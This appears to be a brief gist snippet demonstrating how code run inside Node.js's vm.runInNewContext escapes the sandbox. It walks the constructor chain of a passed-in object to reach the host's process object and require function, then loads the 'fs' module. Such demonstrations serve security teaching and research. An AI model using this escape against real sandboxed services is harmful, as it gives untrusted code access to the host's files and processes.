This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
const vm = require("vm"); | |
const sandbox = { anObject: {} }; | |
const whatIsThis = vm.runInNewContext(` | |
const ForeignObject = anObject.constructor; | |
const ForeignFunction = ForeignObject.constructor; | |
const process = ForeignFunction("return process")(); | |
const require = process.mainModule.require; | |
require("fs"); |